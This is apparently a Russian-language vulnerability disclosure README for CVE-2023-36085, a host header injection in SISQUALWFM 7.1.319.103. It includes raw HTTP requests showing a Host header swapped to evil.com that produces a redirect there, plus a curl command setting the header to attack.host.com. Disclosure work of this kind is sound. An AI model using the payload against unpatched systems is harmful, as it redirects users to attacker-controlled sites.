CVE-2023-36085 Уязвимость внедрения заголовка Host в SISQUALWFM

Этот репозиторий содержит информацию об уязвимости внедрения заголовка Host, обнаруженной в SISQUALWFM версии 7.1.319.103, которая позволяет злоумышленнику манипулировать ссылками на веб-странице или перенаправлять пользователей на вредоносный сайт. Этой уязвимости присвоен идентификатор CVE-2023-36085, и она исправлена в версии 7.1.319.111 и выше.

Сведения об уязвимости

Название эксплойта: SISQUALWFM 7.1.319.103 Host Header Injection
Дата обнаружения: 17/03/2023
Дата сообщения: 17/03/2023
Дата устранения: 13/10/2023
Автор эксплойта: Omer Shaik (unknown_exploit)
Домашняя страница вендора: SISQUALWFM
Версия: 7.1.319.103
Протестировано на: SISQUAL WFM 7.1.319.103
Затронутая версия: SISQUALWFM 7.1.319.103
Исправленная версия: SISQUALWFM 7.1.319.111
CVE: CVE-2023-36085
Оценка CVSS: 3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Категория: Веб-приложения

Доказательство концепции

Мы приводим сценарий доказательства концепции, демонстрирующий уязвимость внедрения заголовка Host, с целевым конечным点在 /sisqualIdentityServer/core. Эта уязвимость позволяет злоумышленнику манипулировать ссылками на веб-странице или перенаправлять пользователей на другой сайт путём изменения заголовка Host.

Исходный запрос

GET /sisqualIdentityServer/core/login HTTP/2
Host: sisqualwfm.cloud
Cookie: <cookie>
...

Исходный ответ

HTTP/2 302 Found
Cache-Control: no-store, no-cache, must-revalidate
Location: https://sisqualwfm.cloud/sisqualIdentityServer/core/
...

Перехваченный запрос (изменён для перенаправления на evil.com)

GET /sisqualIdentityServer/core/login HTTP/2
Host: evil.com
Cookie: <cookie>
...

Ответ

HTTP/2 302 Found
Cache-Control: no-store, no-cache, must-revalidate
Location: https://evil.com/sisqualIdentityServer/core/
...

Выполнение эксплойта

Метод атаки

Чтобы воспользоваться этой уязвимостью, злоумышленник может использовать следующую команду curl для изменения заголовка Host:

curl -k --header "Host: attack.host.com" "Domain Name + /sisqualIdentityServer/core" -vvv

Отказ от ответственности

Этот репозиторий предназначен только для информационных целей и не должен использоваться для каких-либо вредоносных действий. Уязвимость была ответственно раскрыта вендору, и проблема устранена. Крайне важно следовать этическим принципам взлома и соблюдать практики ответственного раскрытия при выявлении и сообщении об уязвимостях.

CVE-2023-36085_SISQUALWFM-Host-Header-Injection

Популярное

Описание